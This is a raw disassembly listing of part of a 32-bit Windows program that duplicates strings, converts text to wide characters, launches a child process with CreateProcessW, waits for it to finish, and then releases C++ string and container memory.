call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x78]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x38]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x3c]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
add esp, 0x1c
push 0x4000
call fcn.0040cfc6
add esp, 4
push 0x2000
mov edi, eax
mov eax, dword [esp + 0x28]
push edi
push 0xffffffffffffffff
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
mov eax, edi
mov word [esp + 0x8e0], cx
mov dword [esp + 0x8f4], 7
mov dword [esp + 0x8f0], ebx
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x409ba1
sub eax, ecx
sar eax, 1
push eax
mov eax, edi
lea ecx, [esp + 0x8e4]
call fcn.0040c0d0
mov byte [esp + 0x6f38], 0xad
xor edx, edx
push 1
mov eax, 0x4115a4
lea ecx, [esp + 0xa50]
mov dword [esp + 0xa64], 7
mov dword [esp + 0xa60], ebx
mov word [esp + 0xa50], dx
call fcn.0040c0d0
lea eax, [esp + 0xa4c]
push eax
lea edi, [esp + 0x8e4]
mov byte [esp + 0x6f3c], 0xae
call fcn.0040c030
mov byte [esp + 0x6f38], 0xad
cmp dword [esp + 0xa60], 8
jb 0x409c35
mov ecx, dword [esp + 0xa4c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 7
mov dword [esp + 0xa60], eax
xor edx, edx
mov dword [esp + 0xa44], eax
xor eax, eax
mov word [esp + 0xa30], ax
mov eax, dword [esp + 0x88]
mov ecx, eax
mov dword [esp + 0xa5c], ebx
mov word [esp + 0xa4c], dx
mov dword [esp + 0xa40], ebx
lea edi, [ecx + 2]
mov dx, word [ecx]
add ecx, 2
cmp dx, bx
jne 0x409c76
sub ecx, edi
sar ecx, 1
push ecx
lea ecx, [esp + 0xa34]
call fcn.0040c0d0
lea ecx, [esp + 0xa30]
push ecx
lea edi, [esp + 0x8e4]
mov byte [esp + 0x6f3c], 0xaf
call fcn.0040c030
mov byte [esp + 0x6f38], 0xad
cmp dword [esp + 0xa44], 8
jb 0x409cd1
mov edx, dword [esp + 0xa30]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, dword [esp + 0x8e0]
xor eax, eax
cmp dword [esp + 0x8f4], 8
mov dword [esp + 0xa44], 7
mov dword [esp + 0xa40], ebx
mov word [esp + 0xa30], ax
jae 0x409d05
lea edi, [esp + 0x8e0]
push 0x40
lea ecx, [esp + 0xf4]
push ebx
push ecx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
mov dword [esp + 0xcc], ebx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [esp + 0xb4]
push eax
lea ecx, [esp + 0xf0]
push ecx
push ebx
push ebx
push 0x20
push ebx
push ebx
push ebx
push edi
mov edx, 5
push ebx
mov dword [esp + 0x114], 0x44
mov dword [esp + 0x140], 1
mov word [esp + 0x144], dx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [esp + 0xb4]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0xb4]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0x1e0]
push edx
call fcn.0040b420
mov byte [esp + 0x6f38], 0xb0
mov eax, dword [esp + 0x1dc]
mov ecx, dword [eax + 4]
lea ecx, [esp + ecx + 0x1dc]
mov byte [esp + 0x38], bl
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_streambuf_char__struct_std::char_traits_char______thiscall_std::basic_ios_char__struct_std::char_traits_char__::rdbuf_void_const]
mov ecx, dword [esp + 0x2c]
sub ecx, dword [0x4155bc]
mov edx, dword [esp + 0x38]
push eax
mov eax, dword [esp + 0x2c]
push edx
push ecx
push eax
lea ecx, [esp + 0x48]
push ecx
call fcn.0040c980
add esp, 0x14
lea edx, [esp + 0x1dc]
push edx
call fcn.0040b510
mov edi, dword [esp + 0x98]
mov eax, dword [esp + 0x24]
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
mov ecx, dword [esp + 0xa4]
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0xa8]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x94]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x98]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x9c]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0xa0]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x90]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0xc8]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x30]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x60]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x5c]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x70]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x68]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x6c]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x64]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x74]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov edx, dword [esp + 0x78]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov eax, dword [esp + 0x38]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push eax
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
mov ecx, dword [esp + 0x3c]
add esp, 0x1c
push edi
push esi
push edi
push esi
push edi
push esi
push ecx
call dword [sym.imp.MSVCR100.dll__strdup]
add esp, 4
push eax
call fcn.00401290
add esp, 0x1c
mov byte [esp + 0x6f38], 0xad
lea ecx, [esp + 0x1dc]
call fcn.0040a7e0
cmp dword [esp + 0x8f4], 8
jb 0x40a08c
mov edx, dword [esp + 0x8e0]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
lea ecx, [esp + 0x3d4]
mov dword [esp + 0x8f4], 7
mov dword [esp + 0x8f0], ebx
mov word [esp + 0x8e0], ax
mov byte [esp + 0x6f38], 0xa1
call fcn.0040a7e0
mov esi, 0x10
cmp dword [esp + 0x8a0], esi
jb 0x40a0db
mov ecx, dword [esp + 0x88c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
lea ecx, [esp + 0x524]
mov dword [esp + 0x8a0], edi
mov dword [esp + 0x89c], ebx
mov byte [esp + 0x88c], bl
mov byte [esp + 0x6f38], 0x9f
call fcn.0040a7e0
cmp dword [esp + 0xb40], esi
jb 0x40a123
mov edx, dword [esp + 0xb2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x71c]
mov dword [esp + 0xb40], edi
mov dword [esp + 0xb3c], ebx
mov byte [esp + 0xb2c], bl
mov byte [esp + 0x6f38], 0x99
call fcn.0040a7e0
cmp dword [esp + 0xb08], esi
jb 0x40a166
mov eax, dword [esp + 0xaf4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x7c4]
mov dword [esp + 0xb08], edi
mov dword [esp + 0xb04], ebx
mov byte [esp + 0xaf4], bl
mov byte [esp + 0x6f38], 0x93
call fcn.0040a7e0
cmp dword [esp + 0xa98], esi
jb 0x40a1a9
mov ecx, dword [esp + 0xa84]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x674]
mov dword [esp + 0xa98], edi
mov dword [esp + 0xa94], ebx
mov byte [esp + 0xa84], bl
mov byte [esp + 0x6f38], 0x8d
call fcn.0040a7e0
cmp dword [esp + 0xab4], esi
jb 0x40a1ec
mov edx, dword [esp + 0xaa0]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x32c]
mov dword [esp + 0xab4], edi
mov dword [esp + 0xab0], ebx
mov byte [esp + 0xaa0], bl
mov byte [esp + 0x6f38], 0x87
call fcn.0040a7e0
cmp dword [esp + 0xaec], esi
jb 0x40a22f
mov eax, dword [esp + 0xad8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x284]
mov dword [esp + 0xaec], edi
mov dword [esp + 0xae8], ebx
mov byte [esp + 0xad8], bl
mov byte [esp + 0x6f38], 0x81
call fcn.0040a7e0
cmp dword [esp + 0xb24], esi
jb 0x40a272
mov ecx, dword [esp + 0xb10]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x134]
mov dword [esp + 0xb24], edi
mov dword [esp + 0xb20], ebx
mov byte [esp + 0xb10], bl
mov byte [esp + 0x6f38], 0x7b
call fcn.0040a7e0
cmp dword [esp + 0xb5c], esi
jb 0x40a2b5
mov edx, dword [esp + 0xb48]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x5cc]
mov dword [esp + 0xb5c], edi
mov dword [esp + 0xb58], ebx
mov byte [esp + 0xb48], bl
mov byte [esp + 0x6f38], 0x75
call fcn.0040a7e0
cmp dword [esp + 0xa7c], esi
jb 0x40a2f8
mov eax, dword [esp + 0xa68]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [esp + 0x47c]
mov dword [esp + 0xa7c], edi
mov dword [esp + 0xa78], ebx
mov byte [esp + 0xa68], bl
mov byte [esp + 0x6f38], 0x6f
call fcn.0040a7e0
cmp dword [esp + 0xb78], esi
jb 0x40a33b
mov ecx, dword [esp + 0xb64]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [esp + 0x6f38], 0x69
mov dword [esp + 0xb78], edi
mov dword [esp + 0xb74], ebx
mov byte [esp + 0xb64], bl
cmp dword [esp + 0x28], ebx
je 0x40a376
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::_Container_base0::_Orphan_all_void_]
mov edx, dword [esp + 0x28]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x45
push 0x1c
lea eax, [esp + 0x3ae0]
push eax
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x6f48], 0x24
call fcn.0040d0b0
push fcn.0040a8a0
push 0x45
push 0x1c
lea ecx, [esp + 0x4af8]
push ecx
mov dword [esp + 0x6f48], 0x2df
call fcn.0040d0b0
mov byte [esp + 0x6f38], 0xde
cmp dword [esp + 0x60], ebx
je 0x40a3e7
lea ecx, [esp + 0x60]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::_Container_base0::_Orphan_all_void_]
mov edx, dword [esp + 0x60]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov byte [esp + 0x6f38], 0xd5
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
cmp dword [esp + 0x9c], ebx
je 0x40a422
lea ecx, [esp + 0x9c]
call dword [sym.imp.MSVCP100.dll_public:_void___thiscall_std::_Container_base0::_Orphan_all_void_]
mov eax, dword [esp + 0x9c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebx
mov dword [esp + 0xa4], ebx
cmp dword [esp + 0xb94], esi
jb 0x40a451
mov ecx, dword [esp + 0xb80]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0xb94], edi
mov dword [esp + 0xb90], ebx
mov byte [esp + 0xb80], bl
cmp dword [esp + 0x948], esi
jb 0x40a480
mov edx, dword [esp + 0x934]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea eax, [esp + 0x29d0]
push eax
mov dword [esp + 0x958], edi
mov dword [esp + 0x954], ebx
mov byte [esp + 0x944], bl
mov byte [esp + 0x6f48], 0x85
call fcn.0040d0b0
cmp dword [esp + 0xa0c], esi
jb 0x40a4cd
mov ecx, dword [esp + 0x9f8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea edx, [esp + 0x3258]
push edx
mov dword [esp + 0xa1c], edi
mov dword [esp + 0xa18], ebx
mov byte [esp + 0xa08], bl
mov byte [esp + 0x6f48], 0x36
call fcn.0040d0b0
cmp dword [esp + 0x9d4], esi
jb 0x40a51a
mov eax, dword [esp + 0x9c0]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea ecx, [esp + 0x4270]
push ecx
mov dword [esp + 0x9e4], edi
mov dword [esp + 0x9e0], ebx
mov byte [esp + 0x9d0], bl
mov dword [esp + 0x6f48], 0x1e7
call fcn.0040d0b0
cmp dword [esp + 0x964], esi
jb 0x40a56a
mov edx, dword [esp + 0x950]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea eax, [esp + 0x5b10]
push eax
mov dword [esp + 0x974], edi
mov dword [esp + 0x970], ebx
mov byte [esp + 0x960], bl
mov byte [esp + 0x6f48], 0x98
call fcn.0040d0b0
cmp dword [esp + 0x980], esi
jb 0x40a5b7
mov ecx, dword [esp + 0x96c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea edx, [esp + 0x6398]
push edx
mov dword [esp + 0x990], edi
mov dword [esp + 0x98c], ebx
mov byte [esp + 0x97c], bl
mov byte [esp + 0x6f48], 0x49
call fcn.0040d0b0
cmp dword [esp + 0x9b8], esi
jb 0x40a604
mov eax, dword [esp + 0x9a4]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea ecx, [esp + 0x5288]
push ecx
mov dword [esp + 0x9c8], edi
mov dword [esp + 0x9c4], ebx
mov byte [esp + 0x9b4], bl
mov dword [esp + 0x6f48], 0xfa
call fcn.0040d0b0
cmp dword [esp + 0x9f0], esi
jb 0x40a654
mov edx, dword [esp + 0x9dc]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea eax, [esp + 0x2148]
push eax
mov dword [esp + 0xa00], edi
mov dword [esp + 0x9fc], ebx
mov byte [esp + 0x9ec], bl
mov byte [esp + 0x6f48], 0xab
call fcn.0040d0b0
cmp dword [esp + 0x910], esi
jb 0x40a6a1
mov ecx, dword [esp + 0x8fc]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea edx, [esp + 0x18c0]
push edx
mov dword [esp + 0x920], edi
mov dword [esp + 0x91c], ebx
mov byte [esp + 0x90c], bl
mov byte [esp + 0x6f48], 0x5c
call fcn.0040d0b0
cmp dword [esp + 0x92c], esi
jb 0x40a6ee
mov eax, dword [esp + 0x918]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 0x4e
push 0x1c
lea ecx, [esp + 0x1038]
push ecx
mov dword [esp + 0x93c], edi
mov dword [esp + 0x938], ebx
mov byte [esp + 0x928], bl
mov byte [esp + 0x6f48], 0xd
call fcn.0040d0b0
cmp dword [esp + 0x884], esi
jb 0x40a73b
mov edx, dword [esp + 0x870]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push fcn.0040a8a0
push 9
push 0x1c
lea eax, [esp + 0xf38]
push eax
mov dword [esp + 0x894], edi
mov dword [esp + 0x890], ebx
mov byte [esp + 0x880], bl
mov byte [esp + 0x6f48], 3
call fcn.0040d0b0
cmp dword [esp + 0x8d8], esi
jb 0x40a788
mov ecx, dword [esp + 0x8c4]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x8d8], edi
mov dword [esp + 0x8d4], ebx
mov byte [esp + 0x8c4], bl
cmp dword [esp + 0x8bc], esi
jb 0x40a7b7
mov edx, dword [esp + 0x8a8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x6f30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6f18]
xor ecx, esp
call fcn.0040cfe4
mov esp, ebp
pop ebp
ret